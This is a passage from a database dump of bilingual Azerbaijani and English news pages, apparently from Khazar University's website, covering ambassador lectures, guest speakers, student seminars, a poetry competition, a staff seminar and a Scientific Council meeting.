<p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/Dan%20Stav.JPG\" style=\"border:0px #000000;width:900px;height:526px;vertical-align:baseline\"><br></p><p><strong>27 fevral 2018</strong></p>\r\n<p><em>Mövzu: \"İsrail-Azərbaycan ikitərəfli münasibətləri, Yaxın Şərq regionu və İsrailin geosiyasi vəziyyətini formalaşdıran tarixi və siyasi proseslər\"</em></p><p><strong>Cənab Dan Stav, İsrailin Azərbaycandakı\r\nFövqəladə və Səlahiyyətli səfiri</strong></p>  <p style=\"text-align:left\"><br></p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/palestine.jpg\" style=\"border:0px #000000;width:900px;height:439px;vertical-align:baseline\"><br></p><p style=\"text-align:left\"><strong>17 noyabr 2017</strong></p><p><em>Mövzu: \"Fələstin\r\nməsələsinə baxış\" </em></p>\r\n<p><strong>Cənab Nasser Abdel\r\nKarem,</strong> Fələstinin Azərbaycandakı Fövqəladə və Səlahiyyətli Səfiri</p>  <p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><br></p>'),(6062,3458,'en','Ambassador Lecture Series','Ambassador Lecture Series','<p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong><br></strong></p><h3 style=\"text-align:center\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AMBASSADOR LECTURE SERIES</strong></h3><p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><img src=\"http://www.khazar.org/files/politics_depart/DSC_3106.JPG\" style=\"border:0px  #000000;width:900px;height:491px;vertical-align:baseline\"></p><p style=\"text-align:left\"><strong>4 October 2018</strong></p><p><em>Title:&nbsp;“Actors of the EU Foreign Policy”</em></p><p style=\"text-align:left\"><strong><span style=\"text-align:justify\">Mr. Denis Daniilidis,&nbsp;</span><span style=\"text-align:justify\">First Counselor of the EU Delegation to Azerbaijan</span></strong></p>  <p style=\"text-align:left\"><br></p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><strong><img src=\"/files/politics_depart/o_1cel5iog0fs1912ugq1sf21adde.jpg\" style=\"width:900px;height:381px\"><br></strong></p><p style=\"text-align:left\"><strong>23 May 2018</strong></p><p style=\"text-align:left\"><em>Title: \"The separation of government and system of checks and balances\"</em></p><p style=\"text-align:left\"><strong><strong>H.E. Mr. Rodrigo Labardini,&nbsp;</strong><strong></strong><strong></strong><strong><strong>Extraordinary and Plenipotentiary Ambassador</strong>&nbsp;of&nbsp;</strong><strong></strong><strong>the&nbsp;<strong>United Mexican States&nbsp;</strong>to Azerbaijan</strong> <br></strong></p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong><strong><br></strong></strong></p><p style=\"text-align:left\"><strong><strong><br></strong></strong></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/Bert.JPG\" style=\"border:0px #000000;width:900px;height:476px;vertical-align:baseline\"><br></p><p><strong>8 May 2018</strong></p>\r\n<p><em>Title: “Belgium’s multi-layered structure of governance and its role in the EU”</em></p>\r\n<p style=\"text-align:left\"><strong>H.E. Mr. Bert Schoofs, </strong><strong><strong><strong>Extraordinary and Plenipotentiary Ambassador</strong>&nbsp;of&nbsp;</strong><strong></strong><strong>the&nbsp;</strong><strong>Kingdom</strong> of Belgium to Azerbaijan</strong></p>  <p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/3.JPG\" style=\"border:0px  #000000;width:900px;height:596px;vertical-align:baseline\"></p><p style=\"text-align:left\"><strong>2 May 2018</strong></p><p style=\"text-align:left\"><em>Title: “Mexico’s Foreign Policy Priorities and its Bilateral Relations with Azerbaijan”</em></p>\r\n<p><strong>H.E. Mr. Rodrigo Labardini,&nbsp;<strong>Extraordinary and Plenipotentiary Ambassador</strong>&nbsp;of&nbsp;</strong><strong></strong><strong>the&nbsp;<strong>United Mexican States&nbsp;</strong>to Azerbaijan</strong></p>  <p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/Dan%20Stav.JPG\" style=\"border:0px  #000000;width:900px;height:526px;vertical-align:baseline\"><br></p><p><strong>27 February 2018</strong></p><p><em>Title: “</em><em>Israel-Azerbaijani Bilateral Relations, Historical and Political Complexities shaped the Middle East region, the Geopolitical situation of Israel”</em></p>\r\n<p><strong>H.E. Mr.&nbsp;Dan Stav, </strong><strong>Extraordinary and Plenipotentiary Ambassador of Israel to Azerbaijan</strong></p>  <p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/palestine.jpg\" style=\"border:0px  #000000;width:900px;height:439px;vertical-align:baseline\"><br></p><p style=\"line-height:150%\"><strong>17 November 2017</strong></p><p><em>Title: \"Review of Palestine\"</em></p>\r\n<p><strong>H.E. Mr. Nasser Abdel Karem,</strong>&nbsp;<strong>Extraordinary and Plenipotentiary Ambassador&nbsp; of Palestine to Azerbaijan</strong></p>  <p><br></p>'),(6063,3459,'az','Qonaq mühazirəçi','Qonaq mühazirəçi','<p><br></p><p><br></p><h3 style=\"text-align:center\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;QONAQ&nbsp;MÜHAZİRƏÇİLƏR</h3><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/o_1cqv4u3ld1vfr11rmdm111lsv41m.JPG\" style=\"border:0px  #000000;width:900px;height:478px;margin:7px;vertical-align:baseline\"><br></p><p style=\"text-align:left\"><strong>25 oktyabr 2018</strong></p><p style=\"text-align:left\"><em>Mövzu:&nbsp;“İsveçrə birbaşa demokratiya modeli və Aİ-İsveçrə münasibətləri”</em>  </p><p style=\"text-align:left\"><strong>Dr.Wolf Linder, siyasi ekspert,&nbsp;hüquq məsləhətçisi, İsveçrə Elmi Şurasının üzvü</strong>  </p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/o_1cq5jgd7m3bg1tlpf8qupucqdj.jpg\" style=\"width:900px;height:573px;margin:7px\"><br></p><p><strong>16-18 oktyabr 2018</strong></p><p><em>Mövzu 1:&nbsp;Ümumi Xarici və Təhlükəsizlik\r\nSiyasəti və Aİ-NATO münasibətləri</em></p><p><em>Mövzu 2:&nbsp;Aİ-Rusiya münasibətləri</em></p><p><em>Mövzu 3:&nbsp;Avropa Qonşuluq Siyasəti və Şərq tərəfdaşlığı</em>  </p><p><strong>Dr. Stefano Braghiroli,&nbsp;Tartu Universitetinin Yohan Skytte Siyasi Araşdırmalar İnstitutunun Avropa Tədqiqatları üzrə elmi araşdırmaçısı&nbsp;</strong><br></p><p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/guest%20speaker.JPG\" style=\"border:0px  #000000;width:900px;height:612px;vertical-align:baseline\"><br></p><p><strong>25 may 2018</strong></p><p><em>Mövzu:&nbsp;“Azərbaycan demokratiyasının qlobal kontekstdə meydana çıxması”</em></p><p><strong>Maykl A.Reynoldz,&nbsp;Prinston Universitetinin Yaxın Şərq Tədqiqatları üzrə dosenti &nbsp;</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p style=\"text-align:center\"><strong><img src=\"/files/politics_depart/o_1c9j05v9ep7i1ubgsk01koiii3o.jpg\" style=\"border:0px  #000000;width:900px;height:596px;vertical-align:baseline\"><br></strong></p><p style=\"text-align:left\"><strong>16 mart 2018</strong></p><p style=\"text-align:left\"><em>Mövzu:&nbsp;“Mühacirlərin dönüşü”</em></p><p style=\"text-align:left\"><strong><strong>Dilqəm Əhməd,&nbsp;<strong>kolleksiyaçı,&nbsp;</strong></strong>jurnalist-yazar</strong></p>'),(6064,3459,'en','Guest Speaker','Guest Speaker','<p><br></p><p><br></p><h3 style=\"text-align:center\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;GUEST SPEAKERS</h3><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/o_1cqv4u3ld1vfr11rmdm111lsv41m.JPG\" style=\"width:900px;height:478px;margin:7px\"><br></p><p><strong>25 October 2018</strong></p><p><em>Lecture:&nbsp;“Swiss Direct Democracy and EU-Switzerland relations”</em>  </p><p><strong>Dr. Wolf Linder,&nbsp;political scientist and legal expert, a member of Swiss Science Council</strong>  </p><p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><strong><img src=\"/files/politics_depart/o_1cq5jgd7m3bg1tlpf8qupucqdj.jpg\" style=\"border:0px  #000000;width:900px;height:573px;margin:7px;vertical-align:baseline\"><br></strong></p><p style=\"text-align:left\"><strong>18 October 2018</strong></p><p><em>Lecture 1:&nbsp;Common Foreign and Security Policy and EU-NATO relations</em></p><p><em>Lecture 2:&nbsp;EU-Russia relations</em></p><p><em>Lecture 3:&nbsp;European Neighbourhood Policy and Eastern Partnership</em>  </p><p style=\"text-align:justify\"><strong>Dr. Stefano Braghiroli,&nbsp;Lecturer of European Studies at the Johan Skytte\r\nInstitute of Political Studies of the University of Tartu.</strong>  </p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/guest%20speaker.JPG\" style=\"border:0px  #000000;width:900px;height:612px;vertical-align:baseline\"><br></p><p><strong>25 May 2018</strong></p><p><em>Lecture:&nbsp;“The Birth of Azerbaijani Democracy in its Global Context.”&nbsp;</em></p><p><strong>Michael A. Reynolds, Associate Professor of Near Eastern Studies at Princeton University</strong></p><p><br></p><p><br></p><p><br></p><p style=\"text-align:center\"><img src=\"/files/politics_depart/o_1c9j05v9ep7i1ubgsk01koiii3o.jpg\" style=\"border:0px  #000000;width:900px;height:596px;vertical-align:baseline\"><br></p><p><strong>16 March 2018</strong></p><p><em><em>Lecture</em>:&nbsp;“Return of Exiled Intellectuals of ADR”</em></p><p><strong>Dilgam Ahmad, a collector and journalist-writer</strong></p>'),(6067,3461,'en','An article by Khazar University instructor published','An article “The idea of united Azerbaijan in modern Azerbaijani poetry” by Gardashkhan Azizkhanli, Instructor of the Department...','<p>An article “The idea of united Azerbaijan in modern Azerbaijani poetry” by Gardashkhan Azizkhanli, Instructor of the Department of Azerbaijani Language and Literature, the School of Education of Khazar University, was published in the last number of (2018, volume XXXII) “Journal of Literature”, a publication of the Institute of Literature named after N.Ganjavi, ANAS. The article deals with how modern poetry reflects national tragedy happened in 1813 and 1828 when Azerbaijan was divided into Northern and Southern parts. The author mentions that poets such as M.Araz, S.Tahir and M.Ismayil regarded this topic as a high priority throughout their creativity. The article remarks that Southern Azerbaijan is one of the motives of Azerbaijani national poetry and is a central topic of the poetry of the above-mentioned leading poets.</p>'),(6068,3462,'az','Birinci kurs tələbələri üçün seminar keçirildi','2018-ci il sentyabrın 27-də Xəzər Universiteti Psixologiya departamentinin müəllimi Nilufər Əlizadənin təşkilatçılığı...','<p>2018-ci il sentyabrın 27-də Xəzər Universiteti Psixologiya departamentinin müəllimi Nilufər Əlizadənin təşkilatçılığı ilə “<em>Guide to be a student</em>” adlı seminar keçirildi. Seminarda Humanitar və Sosial Elmlər fakültəsinin birinci kurs tələbələri iştirak edərək, universitet həyatında baş verə biləcək çətinliklərin qarşısının alınması barəsində məlumat adılar. Tələbələr aktiv müzakirələrdə iştirak edərək, sonda öz suallarını da ünvanladılar. Seminarda tələbələrə Xəzər Universitetinin Psixologiya və Konsultasiya Mərkəzi haqqında da məlumat verildi, ehtiyac olduqda, mərkəzə müraciət edə biləcəkləri qeyd olundu.</p>'),(6069,3462,'en','Seminar for first-year students held','On September 27, 2018, on an organizational support of Nilufar Alizadeh, Instructor of the Department of Psychology at Khazar University...','<p>On September 27, 2018, on an organizational support of Nilufar Alizadeh, Instructor of the Department of Psychology at Khazar University, a seminar “Guide to be a student” was held. Students of the School of Humanities and Social Sciences participated in the seminar who were provided with information on how to cope with challenges of academic life. Students actively participated in the seminar and asked questions. Moreover, students were informed about the Center for Psychology and Consultancy at Khazar University where they can visit for support in case of need.</p>'),(6070,3463,'en','A presentation on EBSCO Discovery Service','On October 17, 2018, at 15:00, Mr Douglas Heintz from EBSCO Information Services will deliver a presentation on...','<p>On October 17, 2018, at 15:00, Mr Douglas Heintz from EBSCO Information Services will deliver a presentation on “<em>E</em><em>BSCO Discovery Service: Search, content, and software for the 21<sup>st</sup> century library</em>” at Khazar University.&nbsp;</p><p>The presentation will take place in the Conference Room, Neftchilar Campus (room 102N), at Khazar University.</p>\r\n<p>All are welcome!</p>'),(6071,3463,'az','Discovery Service haqqında təqdimat olacaq','2018-ci il oktyabrın 17-si saat 15:00-da EBSCO İnformasiya xidmətinin nümayəndəsi cənab Douglas Heintz Xəzər Universitetində...','<p>2018-ci il oktyabrın&nbsp;17-si saat 15:00-da EBSCO İnformasiya xidmətinin nümayəndəsi cənab Douglas Heintz Xəzər Universitetində “<em>EBSCO Discovery Service:&nbsp;axtarış, məzmun və XXI əsr kitabxanalarında proqram təminatı</em>”&nbsp;adlı təqdimat keçirəcək.</p><p>Təqdimat Xəzər Universitetinin “Neftçilər” kampusundakı konfrans zalında (otaq 102N) keçiriləcək.  </p><p>Maraqlanan hər kəs dəvət olunur.</p>'),(6075,3465,'en','First year students visit a museum','On September 28, 2018, the first-year students, majoring in History, of the School of Education of Khazar University,...','<p>On September 28, 2018, the first-year students, majoring in History, of the School of Education of Khazar University, had their Archaeology lesson, instructed by Orkhan Zamanov, Instructor of the Department of History and Archaeology, in the Museum and Exhibition Hall of the Institute of Archaeology and Ethnography, ANAS. The lesson was very interesting for the students. During the lesson, the students asked many questions and took notes.</p>'),(6081,3469,'az','“Zəkalar” liseyində “Məmməd Araz Poeziya günü”','2018-ci il sentyabrın 30-da Bakı şəhəri Xətai rayonunun 287 saylı “Zəkalar” liseyində III “Məmməd Araz Poeziya günü...','<p>2018-ci il sentyabrın 30-da Bakı şəhəri Xətai rayonunun 287 saylı “Zəkalar” liseyində III “Məmməd Araz Poeziya günü” çərçivəsində Məmməd Araz şeirinin ən yaxşı ifaçısı adını qazanmaq üçün sentyabr ayının sonu seçim turu keçirilmişdir. Məktəbin direktoru biologiya elmləri üzrə fəlsəfə doktoru Aygün Əhmədli, Azərbaycan dili və ədəbiyyatı müəllimi Xəyalə Tağıyeva və “Məmməd Araz Poeziya günü” layihəsinin rəhbəri, Xəzər Universitetinin müəllimi Qardaşxan Əzizxanlıdan ibarət münsiflər heyəti qarşısında çıxış edən məktəblilərdən Əbülfəz Rzazadə, Nəzrin Ağazadə, Nicat Səmədov, Nilufər Tağıyeva, Aydan Mehdiyeva, Şəbnəm Haşımlı xüsusilə fərqlənmişlər. Onlar oktyabrın əvvəllərində Azərbaycan Respublikasının Prezidenti yanında Bilik Fondu, Azərbaycan Yazıçılar Birliyi və Xəzər Universitetinin birgə təşkilatçılığı ilə III “Məmməd Araz Poeziya günü” və xalq şairi Məmməd Arazın 85 illik yubileyinə həsr olunmuş yekun tədbirdə çıxış edəcəklər.</p><p>Tədbir haqqında respublika mətbuatında da xəbərlər yayınlanmışdır:</p><p><a href=\"http://palitranews.az/news.php?id=92569\">http://palitranews.az/news.php?id=92569</a>;</p><p><a href=\"https://azertag.az/xeber/Zekalar_liseyinde_Memmed_Araz_Poeziya_gunu-1199617\">https://azertag.az/xeber/Zekalar_liseyinde_Memmed_Araz_Poeziya_gunu-1199617</a>.</p>'),(6082,3469,'en','“Mammad Araz Poetry Day” at “Zakalar” Lyceum','On September 30, 2018, a selection round for a title of the best reciter of Mammad Araz poems was held at “Zakalar...','<p>On September 30, 2018, a selection round for a title of the best reciter of Mammad Araz poems was held at “Zakalar” Lyceum #287, located in Khatai district of Baku city, within “Mammad Araz Poetry Day”. The Director of the school, Aygun Ahmadli, PhD in Biology; Khayala Taghiyeva, Azerbaijani Language and Literature teacher; and Gardashkhan Azizkhanli, Instructor of Khazar University and project leader of “Mammad Araz Poetry Day”, constituted a jury before which pupils recited poems. Abulfaz Rzazadeh, Nazrin Aghazadeh, Nijat Samadov, Nilufar Taghiyeva, Aydan Mehdiyeva and Shabnam Hashimli conducted an outstanding performance. They will perform in the final ceremony, III “Mammad Araz Poetry Day”, dedicated to 85th jubilee of Mammad Araz, which will be organized jointly by the Knowledge Foundation under the President of the Republic of Azerbaijan, Azerbaijan Writers Union, and Khazar University.</p><p>The event was covered by national media:</p><p><a href=\"http://palitranews.az/news.php?id=92569\">http://palitranews.az/news.php?id=92569</a>;</p><p><a href=\"https://azertag.az/xeber/Zekalar_liseyinde_Memmed_Araz_Poeziya_gunu-1199617\">https://azertag.az/xeber/Zekalar_liseyinde_Memmed_Araz_Poeziya_gunu-1199617</a>.</p>'),(6083,3460,'az','Xəzər Universiteti “Korporativ inkişaf” seminarı','2018-ci il sentyabrın 29-da Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə universitetin Buzovnada yerləşən...','<p>2018-ci il sentyabrın 29-da Xəzər Universiteti İnkişaf Mərkəzinin təşkilatçılığı ilə universitetin Buzovnada yerləşən yenicə əsası qoyulmuş Konfrans və İstirahət Mərkəzində Xəzər Universitetinin bütün fakültələrinin, departamentlərinin, mərkəzlərinin, habelə, “Dünya” məktəbi nümayəndlərinin iştirak etdiyi “Korporativ inkişaf” seminarı baş tutdu. Bəzi departamentlərin tələbələri də birgə ərsəyə gəlmiş ideyalarını təqdim etmək üçün tədbirdə könüllü olaraq iştirak edirdilər. Seminar universitetin inkişafı, xüsusilə yay və qış məktəblərinin təşkili ilə bağlı müzakirələr aparmaq və yeni yaradıcı ideyalar ortaya qoymaq məqsədi daşıyırdı.</p><p>İnkişaf seminarı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar şurasının sədri professor Hamlet İsaxanlının vacib cari məsələlərə həsr olunmuş təqdimatı ilə başladı. O, öz təqdimatında universitetin üzləşdiyi problemlər və onu gözləyən perspektivlər haqqında danışdı və bu problemlərin həllini növbəti akademik il üçün strateji istiqamət olaraq təyin etdi. Çıxışdan sonra ideyalar ortaya qoymaq məqsədilə komandalar və departamentlər tərəfindən təqdim edilən 3 ardıcıl sessiya ilə vorkşop davam etdi.</p><p>Daha sonra Xəzər Universitetində açılması planlaşdırılan yay və qış məktəbləri haqqında canlı müzakirələr aparıldı. Bütün departamentlər mövzu ilə bağlı öz ideya və təkliflərini təqdim etdilər.</p><p>Yeni layihə və yeni maliyyələşmə imkanlarına həsr edilmiş ikinci sessiyanı Xəzər Universitetinin Elmi işlər üzrə prorektoru Dr. İradə Xəlilova apardı. O, iştirakçıları yeni qrant, təqaüd və araşdırma imkanları haqqında ətraflı məlumatlandırdı.</p><p>Tam günü əhatə edən seminar tələbələr və kollektivin əylənə, dincələ və müzakirə olunan mövzuları əks etdirə biləcəyi şəkildə təşkil edilmişdi. Buzovnada yerləşən Xəzər Konfrans və İstirahət Mərkəzi təbiətdən həzz alaraq, yaradıcı şəkildə işləmək üçün enerji ala biləcəyiniz ideal məkandır.</p>'),(6245,3554,'az','İqtisadiyyat və Menecment fakültəsində növbəti seminar oldu','2018-ci il oktyabrın 21-də Xəzər Universiteti İqtisadiyyat və menecment fakültəsi və Milli Mühasiblər...','<p>2018-ci il oktyabrın 21-də Xəzər Universiteti İqtisadiyyat və Menecment fakültəsi və Milli Mühasiblər Forumunun birgə əməkdaşlığı ilə Xəzər Universitetinin şəhər mərkəzində yerləşən korpusundakı Fikrət Əmirov Konfrans-Konsert mərkəzində növbəti seminar keçirildi. Seminarda mühasibat uçotu sahəsinin tanınmış mütəxəssisləri iştirak edirdilər.</p><p>Xəzər Universitetinin İqtisadiyyat və Menecment fakültəsinin dekanı Dr.Ceyhun Məmmədov iştirakçıları salamladı, universitetin fəaliyyəti haqqında danışaraq, universitetin bakalavriatura və magistratura pillələrində tədrisin keyfiyyəti haqqında ətraflı məlumat verdi və mühasibat uçotu ixtisaslarının beynəlxalq təhsil standartlarına uyğun aparıldığını vurğuladı. Çıxışdan sonra Xəzər Universitetinin tanıtım filmi izləndi.</p><p>Daha sonra Milli Mühasiblər Forumunun Təşkilat Komitəsinin sədri Dr. Ruslan Atakişiyev Forumun fəaliyyət prinsipləri və tədbirin keçirilməsi məqsədi barəsində iştirakçıları məlumatlandırdı. Sonra Vergilər Nazirliyinin əməkdaşı Mirəli Kazımov “2018-2020-ci illərdə Azərbaycan Respublikasında rəqəmsal ödənişlərin genişləndirilməsi üzrə Dövlət Proqramı”na uyğun olaraq, Sadələşdirilmiş vergi sisteminin tədricən ƏDV sistemi ilə əvəzlənməsi və ƏDV dərəcəsinin diferensiallaşdırılması məsələsinə ətraflı münasibət bildirdi. İqtisadi Araşdırmalar və Tədris Mərkəzinin vitse-prezidenti Radil Fətullayev isə xərclər və məsrəflər üzrə maliyyə uçotunda ikili yazılışların verilməsi haqqında praktiki nümunələri izah etdi. Seminarın davamında “Professional mühasib” jurnalının baş redaktoru Mehdi Babayev “Mənfəət vergisi bəyannaməsinin xərc hissəsinin tərtib olunmasında yaranan praktik problemlər, uyğunsuzluq yaradan məqamlar və onların həlli yolları” və UNEC maliyyə və mühasibat fakültəsinin müəllimi Abdulkərim Sadıqov isə “Xərclərin maliyyə uçotunda standartlar üzrə adlı təsnifləşdirilməsi və bölünməsi, istehsalın (işin, xidmətin) maya dəyərinə məsrəflərin ötürülməsi və bu sahədə mövcud praktik problemlər” mövzusunda çıxış etdilər.</p><p>Seminarın sonunda iştirakçıları maraqlandıran suallar cavablandırıldı, mövzular ətrafında müzakirələr aparıldı və iştirakçılara sertifikatlar təqdim edildi.</p><p>Qeyd edək ki, Milli Mühasiblər Forumu seminarın 2018-ci ilin noyabrında yenidən Xəzər Universitetinin əməkdaşlığı və ev sahibliyi ilə keçirilməsi planlaşdırılır.</p>'),(6094,3475,'az','Yeni dərs ilində Elmi Şuranın ilk iclası','2018-ci il oktyabrın 3-də Xəzər Universitetinin rektoru Dr. Hassan Niknafsın sədrliyi ilə Elmi Şuranın yeni dərs ilində ilk...','<p>2018-ci il oktyabrın 3-də Xəzər Universitetinin rektoru Dr. Hassan Niknafsın sədrliyi ilə Elmi Şuranın yeni dərs ilində ilk iclası oldu. İclası giriş sözü ilə açan rektor Hassan Niknafs yeni dərs ilində Elmi Şuranın ilk iclasının keçirildiyini və iclasda Eımi Şuranın 4 yeni üzvünun də iştirak etdiyini nəzərə çatdırdı. Yeni üzvlər –Kitabxana-İnformasiya Mərkəzinin direktoru Tatyana Zaytseva, Təmir-tikinti işləri üzrə menecer Şahin İsayev, Mühəndislik və Tətbiqi Elmlər fakültəsinin dekan müavini Fəxrəndə Əlimərdanova və İqtisadiyyat və Menecment fakültəsinin dekan müavini Şəhriyar Muxtarov Elmi Şura üzvlərinə təqdim olundular.</p><p>İclasın gündəliyinə uyğun olaraq, Humanitar və Sosial Elmlər fakültəsinin dekanı Cabir Xəlilov, İqtisadiyyat və Menecment fakültəsinin dekanı Ceyhun Məmmədov, Təhsil fakültəsinin dekanı Elza Səmədli və Mühəndislik və Tətbiqi Elmlər fakültəsinin dekan müavini Fəxrəndə Əlimərdanova məzunlar haqqında məlumat verdilər.</p><p>Doktorant və dissertantların dissertasiya mövzusu, elmi rəhbərlərinin təsdiqi və ixtisaslarının dəyişdirilməsi haqqında Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyevin məlumatları dinlənildikdən sonra doktorant və dissertantlar çıxış edərək, öz tədqiqat işləri ilə bağlı ətraflı məlumat verdilər, Elmi Şura üzvlərinin suallarını cavablandırdılar. Daha sonra Humanitar və Sosial Elmlər fakültəsinin dekanı Cabir Xəlilovun dərs vəsaitlərinin və fənn proqramlarının çapa təqdim olunması haqqında məlumatları dinlənildi. Məsələ ilə bağlı çıxış edən Dillər və mədəniyyətlər departamentinin koordinatotu Zivər Hüseynli-Baylan və Psixologiya departamentinin koordinatoru Mələk Kərimova çap üçün nəzərdə tutulan dərs vəsaitləri barədə Elmi Şura üzvlərini məlumatlandırdılar.</p><p>Gündəlikdəki məsələlər haqqında müvafiq qərarlar qəbul edildikdən sonra Elmi Şura üzvləri cari məsələlərin müzakirəsinə keçdilər. Rektor Hassan Niknafs çıxış edərək, daxili nizam-intizam qaydalarına əməl edilməsi, departamentlər tərəfindən yeni işçilərin cəlb olunması, sillabusların və CV-lərin vaxtında saytda yerləşdirilməsi ilə bağlı nöqsanların olduğunu bildirdi və onların aradan qaldırılması zərurətini vurğuladı. O, həmçinin, 2016-2017-ci dərs ili ilə müqayisədə 2017-2018-ci dərs ilində universitet əməkdaşlarının tədqiqat sahəsində xeyli artıq uğurlar qazandlarını, dərc olunan elmi məqalələrin sayının 3 dəfəyə yaxın artdığını nəzərə çatdırdı və bu sahədə uğurların daha da artacağına ümidvar olduğunu bildirdi.</p>'),(6090,3473,'az','Qardaşlar Xəzər Universitetini seçdilər','Ağdaş rayonunun Ləki qəsəbəsindən iki qardaş – Tamerlan Abdullayevlə Tuqay Abdullazadə eyni qrup üzrə eyni bal toplayaraq...','<p>Ağdaş rayonunun Ləki qəsəbəsindən iki qardaş&nbsp;–&nbsp;Tamerlan Abdullayevlə Tuqay Abdullazadə eyni qrup üzrə eyni bal toplayaraq, Xəzər Universitetinin eyni fakültəsinə –   Mühəndislik və tətbiqi elmlər fakültəsinə daxil olmuşlar.</p><p>Tamerlan Ləki qəsəbəsindəki 6 saylı tam orta məktəbin məzunudur. 5 il müddətində Ağdaş rayonu M.Şeyxzadə adına Texniki, təbiət və humanitar fənlər təmayüllü gimnaziyada təhsil alıb. IX sinifdə oxuyarkən riyaziyyat olimpiadasında bürünc medal qazanıb. XI sinfi bitirəndə isə qızıl medala layiq görülüb.&nbsp;Tamerlan qəbul imtahanını I qrup üzrə verərək, 690 bal toplamış, kompüter mühəndisliyi ixtisasına qəbul olunmuşdur.</p><p>Tuqay Abdullazadə isə orta təhsilə Ağdaş rayonu M.Şeyxzadə adına Texniki, təbiət və humanitar fənlər təmayüllü gimnaziyada başlayıb. Sonra Ağdaş Özəl Türk Liseyinə (hazırda fəaliyyət göstərmir) imtahan verərək, birbaşa V sinifdən VII sinfə keçib. Bir il sonra təhsilini Ləki qəsəbə 6 saylı tam orta məktəbində davam etdirib. Orada oxuduğu 4 il müddətində davamlı olaraq fənn olimpiadalarında iştirak edib. Hər dəfə finala çıxıb. İki dəfə medalçı olub. Məktəbi də qızıl medalla bitirib. Qəbul imtahanı zamanı o da qardaşı kimi 690 bal toplayaraq kompüter elmləri ixtisasına qəbul olunub.</p><p>Tamerlan və Tuqay Xəzər Universitetini burada yüksək təhsil verildiyinə əmin olduqlarına görə seçdiklərini bildirdilər.</p><p>Qeyd edək ki, qardaşlar müəllim ailəsində dünyaya göz açmışlar. Ataları Səbuhi Abdullayev və anaları Gülnarə Məmmədova ali təhsilli Azərbaycan dili və ədəbiyyatı müəllimidirlər.</p>'),(6091,3473,'en','Brothers choose Khazar University','Two brothers, Tamerlan Abdullayev and Tugay Abdullazadeh, from Laki settlement, Aghdash region, scoring...','<p>Two brothers, Tamerlan Abdullayev and Tugay Abdullazadeh, from Laki settlement, Aghdash region, scoring the same points on the same group, entered the same school at Khazar University, the School of Engineering and Applied Sciences.</p><p>Tamerlan is a graduate of school #6 at Laki settlement. He studied at Technical, Natural and Humanitarian disciplines Gymnasium named after M.Sheykhzadeh for 5 years in Aghdash region. He was awarded a bronze medal at math Olympiad when he was studying in IX grade. Moreover, he was awarded a gold medal when he finished the secondary school. At the entrance exam, he scored 690 points and entered university, a speciality of Computer Engineering.</p><p>Tugay Abdullazadeh started school at Technical, Natural and Humanitarian disciplines Gymnasium named after M.Sheykhzadeh. Then he passed an exam at Aghdash Private Turkish Lyceum (is not functioning now) and was transferred from V grade to directly VII grade. After one year, he continued his education at school #6 in Laki settlement. During his education at this school, he regularly participated in Olympiads and succeeded in getting a final stage of a competition. He was awarded a medal twice. He also finished the school with a gold medal. At the university entrance exam, like his brother, he scored 690 points and entered university, a speciality of Computer Sciences. Both parents of the brothers are teachers. Their father, Sabuhi Abdullayev, and mother, Gulnara Mammadova, are Azeri Language and Literature teachers with graduate diplomas.</p>'),(6092,3474,'az','Coğrafiya və ətraf mühit departamentinin əməkdaşı Yaponiyada çıxış edəcək','2018-ci il oktyabrın 16-dan 24-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov...','<p>2018-ci il oktyabrın 16-dan 24-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov BMT və Beynəlxalq Göl Komitəsinin birgə təşkilatçılığı ilə Yaponiyanın İbaraki vilayətinin Tsukuba şəhərində keçriləcək Dünya Göl Konfransında “Dəvət olunmuş mühazirəçi” kimi iştirak edəcək. O,&nbsp;bu konfransda Xəzər Universiteti adından “<em>Metropoliten ərazi göllərinin ekosistem servisləri</em>” mövzusu ilə məruzə edəcək.</p>'),(6093,3474,'en','Associate of the Department of Geography and Environment will participate in a conference to be held in Japan','On October 16-24, 2018, Rovshan Abbasov, Head of the Department of Geography and the Environment of Khazar University...','<p>On October 16-24, 2018, Rovshan Abbasov, Head of the Department of Geography and the Environment of Khazar University, will participate, “as an invited speaker”, in World Lake Conference to be held in Tsukuba city, Ibaraki prefecture, Japan, organized on joint initiatives of UN and International Lake Committee. On behalf 